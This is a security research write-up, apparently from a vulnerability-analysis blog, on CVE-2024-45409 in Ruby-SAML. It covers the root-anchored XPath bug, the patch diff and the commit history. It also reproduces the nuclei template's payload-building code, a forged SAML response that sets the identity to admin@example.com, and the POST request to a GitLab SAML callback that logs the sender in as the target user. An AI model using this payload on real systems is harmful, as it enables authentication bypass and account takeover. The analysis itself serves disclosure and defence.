//nefariousplan

CVE-2024-45409: The SignatureValue Verified. The DigestValue Compared Was Not in the Signature.

pattern

cve

proof of concept

Ruby-SAML verified the SignatureValue. The cryptographic operation over SignedInfo was correct, the certificate chained to the IdP, the XMLDSig was real. The problem was not there.

For each <ds:Reference> inside SignedInfo, Ruby-SAML had to decide whether the element the reference pointed to still matched the DigestValue the signature covered. To do that, it ran REXML::XPath.first(ref, "//ds:DigestValue", { "ds" => DSIG }). The leading // anchors the query at the document root, not at ref. The attacker placed a <ds:DigestValue> inside a <samlp:Extensions> block higher up in the document than the Signature itself, computed over the Assertion they wanted accepted. Document order placed it first. Ruby-SAML read that one.

The XPath queries were rooted at the document, not at their context node

The vulnerable function lives in lib/xml_security.rb as validate_signature. In ruby-saml 1.16.0 and every release back to late 2011, the digest-checking block looked like this:

canon_string = noko_signed_info_element.canonicalize(canon_algorithm)
noko_sig_element.remove

# check digests
ref = REXML::XPath.first(sig_element, "//ds:Reference", {"ds"=>DSIG})

hashed_element = document.at_xpath("//*[@ID=$id]", nil, { 'id' => extract_signed_element_id })

canon_algorithm = canon_algorithm REXML::XPath.first(
  ref,
  '//ds:CanonicalizationMethod',
  { "ds" => DSIG }
)

canon_algorithm = process_transforms(ref, canon_algorithm)
canon_hashed_element = hashed_element.canonicalize(canon_algorithm, inclusive_namespaces)

digest_algorithm = algorithm(REXML::XPath.first(
  ref,
  "//ds:DigestMethod",
  { "ds" => DSIG }
))
hash = digest_algorithm.digest(canon_hashed_element)

encoded_digest_value = REXML::XPath.first(
  ref,
  "//ds:DigestValue",
  { "ds" => DSIG }
)
digest_value = Base64.decode64(OneLogin::RubySaml::Utils.element_text(encoded_digest_value))

unless digests_match?(hash, digest_value)
  return append_error("Digest mismatch", soft)
end

Four lookups pass ref or sig_element as the first argument and a //-prefixed XPath as the second. REXML::XPath.first(ref, "//ds:DigestValue", ...) reads as a scoped search beneath the Reference element. It is not. In XPath, // abbreviates /descendant-or-self::node()/, which is always rooted at the document. The context node is ignored. To search under a context node, the query needs a leading period: .//ds:DigestValue. Four characters, one per query, and the semantics flip from "first DigestValue anywhere in this document" to "first DigestValue under this Reference."

Each of the four queries returned the first matching element in document order across the entire document. If the document had exactly one CanonicalizationMethod, one DigestMethod, one DigestValue, and one Transforms, the bug was invisible: document-order-first happened to also be under-this-Reference. The moment a second DigestValue appeared anywhere higher in the tree, the validator read the wrong one.

The patch in commit 4865d03, dated September 10, 2024:

-      ref = REXML::XPath.first(sig_element, "//ds:Reference", {"ds"=>DSIG})
+      signed_info_element = REXML::XPath.first(
+        sig_element,
+        "./ds:SignedInfo",
+        { "ds" => DSIG }
+      )
+      ref = REXML::XPath.first(signed_info_element, "./ds:Reference", {"ds"=>DSIG})

-      canon_algorithm = canon_algorithm REXML::XPath.first(
-        ref,
-        '//ds:CanonicalizationMethod',
+      canon_algorithm = canon_algorithm REXML::XPath.first(
+        signed_info_element,
+        './ds:CanonicalizationMethod',

-      digest_algorithm = algorithm(REXML::XPath.first(
-        ref,
-        "//ds:DigestMethod",
+      digest_algorithm = algorithm(REXML::XPath.first(
+        ref,
+        "./ds:DigestMethod",

-      encoded_digest_value = REXML::XPath.first(
-        ref,
-        "//ds:DigestValue",
+      encoded_digest_value = REXML::XPath.first(
+        ref,
+        "./ds:DigestValue",

And in process_transforms, the fifth query:

       transforms = REXML::XPath.match(
         ref,
-        "//ds:Transforms/ds:Transform",
+        "./ds:Transforms/ds:Transform",
         { "ds" => DSIG }
       )

Five queries. Five leading periods. The commit also hardens the Nokogiri ID lookup to reject documents with duplicate IDs, which closes a neighboring XML Signature Wrapping variant that depends on node duplication rather than on XPath semantics.

The nuclei template exploits the DigestValue query specifically

The projectdiscovery template at code/cves/2024/CVE-2024-45409.yaml builds the payload from an IdP-signed SAML response passed in via environment variable. The first move:

root = etree.fromstring(xml_content, parser)

response_signature = root.find('./ds:Signature', namespaces)
if response_signature is not None:
    root.remove(response_signature)

Strip any response-level <ds:Signature>. Ruby-SAML accepts responses where only the Assertion is signed, so removing the outer signature leaves a valid-looking document shape. The Assertion's inner Signature, which is what actually matters, stays intact.

nameid = root.find('.//saml:NameID', namespaces)
if nameid is not None:
    nameid.text = username

attribute_values = root.findall('.//saml:AttributeValue', namespaces)
for attr_value in attribute_values:
    attr_value.text = username

Rewrite the NameID and every AttributeValue to the attacker's target identity. Default target in the template is admin@example.com. The Assertion's SignedInfo, SignatureValue, and KeyInfo are untouched, so the cryptographic signature object still verifies against the IdP's public key.

assertion_copy = etree.fromstring(etree.tostring(assertion))
signature_in_assertion = assertion_copy.find('.//ds:Signature', namespaces)
if signature_in_assertion is not None:
    signature_in_assertion.getparent().remove(signature_in_assertion)
canonicalized_assertion = etree.tostring(
    assertion_copy, method='c14n', exclusive=True, with_comments=False
)
digest = hashlib.sha256(canonicalized_assertion).digest()
digest_value = base64.b64encode(digest).decode()

Compute exactly the digest Ruby-SAML is about to compute over the modified Assertion: strip the embedded Signature (the enveloped-signature transform), canonicalize exclusive c14n without comments, SHA-256, base64. Call this D_attacker.

issuer = root.find('.//saml:Issuer', namespaces)
parent = issuer.getparent()
index = parent.index(issuer)
extensions = etree.Element('{urn:oasis:names:tc:SAML:2.0:protocol}Extensions')
digest_element = etree.SubElement(
    extensions, '{http://www.w3.org/2000/09/xmldsig#}DigestValue'
)
digest_element.text = digest_value
parent.insert(index + 1, extensions)

Insert a new <samlp:Extensions> element into the Response, right after the top-level <saml:Issuer>. Inside it, one <ds:DigestValue> carrying D_attacker. Document order matters: Extensions sits above the Assertion, and the Signature lives inside the Assertion. D_attacker now appears in document order before the real DigestValue in SignedInfo.

The submitted document:

<samlp:Response ID="_response-id">
  <saml:Issuer>https://idp.victim.com</saml:Issuer>
  <samlp:Extensions>
    <ds:DigestValue>D_attacker</ds:DigestValue>
  </samlp:Extensions>
  <saml:Assertion ID="_assertion-id">
    <saml:Issuer>https://idp.victim.com</saml:Issuer>
    <ds:Signature>
      <ds:SignedInfo>
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
        <ds:Reference URI="#_assertion-id">
          <ds:Transforms>
            <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
            <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
          </ds:Transforms>
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
          <ds:DigestValue>D_original</ds:DigestValue>
        </ds:Reference>
      </ds:SignedInfo>
      <ds:SignatureValue>...</ds:SignatureValue>
      <ds:KeyInfo>...</ds:KeyInfo>
    </ds:Signature>
    <saml:Subject>
      <saml:NameID>admin@example.com</saml:NameID>
    </saml:Subject>
    <saml:AttributeStatement>
      <saml:Attribute Name="email">
        <saml:AttributeValue>admin@example.com</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

Two DigestValues. D_original, the one the IdP signed over, sits inside SignedInfo. D_attacker, the one the attacker inserted, sits at the top of the Response.

Ruby-SAML's flow on this document:

  1. Locate the Signature element. Found inside the Assertion.
  2. Canonicalize SignedInfo, verify SignatureValue against the IdP's public key. SignedInfo was not modified, so the RSA verification succeeds. This is the cryptography working correctly.
  3. For the one Reference in SignedInfo: fetch the element with ID="_assertion-id", canonicalize it with the enveloped-signature transform stripping its embedded Signature, compute SHA-256. The result is D_attacker because the attacker computed their digest over exactly the same modified Assertion.
  4. Compare the computed hash against the DigestValue. REXML::XPath.first(ref, "//ds:DigestValue", {"ds"=>DSIG}) returns the first DigestValue in document order across the whole document. That is D_attacker. Equal to the computed hash. Digest match.
  5. Signature validation returns true. Authentication proceeds as admin@example.com.

The request that drives all of this against a GitLab instance with SAML SSO configured:

POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.victim.com
Content-Type: application/x-www-form-urlencoded

RelayState=undefined&SAMLResponse=<url-encoded base64 of the document above>

GitLab responds 302 to /, and the _gitlab_session cookie the attacker now holds belongs to whatever user admin@example.com resolves to. If the email maps to an existing account, the attacker is that account. If JIT provisioning is on and no such account exists, GitLab creates one, and the attacker is it.

The typo shipped on December 8, 2011

git blame on the three //ds:... strings inside the digest block points at one commit. acc92b90bde86113a850f039b7cda5d5fed4d4b0, authored by Ryan Stenhouse of FreeAgent on December 8, 2011. The commit message:

Be compatiable with PingFederate
  * Use XPATH rather than elements to find the signature
  * Deal with where ampersands aren't escaped correctly

The commit migrates the verifier from self.elements["//ds:X509Certificate"] style access to REXML::XPath.first(self, "//ds:X509Certificate") style. Three of the //ds:... XPath strings that the 2024 advisory eventually named are introduced in the same diff. Every one of them passes a context node as the first argument, the shape the author almost certainly thought would scope the search. REXML's API lets that call complete without error. The XPath grammar does not honor the intent.

From acc92b9 on December 8, 2011 to 4865d03 on September 10, 2024 is twelve years, nine months, two days. The compatibility commit for PingFederate shipped the whole Ruby-SAML signature verifier into that window. Every Ruby-SAML-backed SSO consumer, every GitLab instance using SAML, every Rails application using omniauth-saml, ran with the typo for the entire period. The GitLab advisory phrases the bug as "does not properly verify the signature." The PoC proves the signature was verified. The wrong digest was compared.

Ruby-SAML's signature verifier is a design-debt driver

CVE-2024-45409 is not the first authentication bypass produced by Ruby-SAML's signature verifier. CVE-2016-5697 and CVE-2017-11428 were earlier XML Signature Wrapping variants, with the 2017 instance exploiting an XML comment truncation gap between the canonicalizer and the downstream SAML parser. CVE-2025-25291 and CVE-2025-25292, patched in ruby-saml 1.18.0 on March 12, 2025, addressed a parser differential between REXML and Nokogiri that enabled a distinct signature wrapping attack. The 1.18.0 fix landed six months after the 1.17.0 fix for CVE-2024-45409.

The signature verifier has now produced authentication bypasses through four distinct mechanisms: duplicate-element wrapping, XML comment truncation, XPath root-anchoring, and parser differential. Each fix closed a specific instance. The architecture that made each instance exploitable is the same: a verifier built on REXML, retrofitted with Nokogiri lookups for some paths, with XPath queries scattered through a single method that canonicalizes, hashes, compares, and accepts. This is the shape the Design Debt Driver pattern names, a component whose bug-class keeps recurring, with the patches addressing symptoms while the design holds the primitive. The Tomcat EncryptInterceptor analysis is the sibling case in the current catalog: one method producing consecutive CVEs because the style that generated both remained unchanged after each fix.

The next Ruby-SAML signature bypass is already in the code. A new XPath ambiguity, a new canonicalizer-versus-consumer disagreement, a new intersection between the two XML parsers the library uses, waiting for the researcher who notices. The CVE-2025 fixes changed the parser selection logic. They did not reduce the number of XML parsers involved in signature validation. The substrate is untouched.

PoC: projectdiscovery/nuclei-templates

Four characters. Twelve years. Six months between the fix and the next signature-wrapping bypass in the same verifier.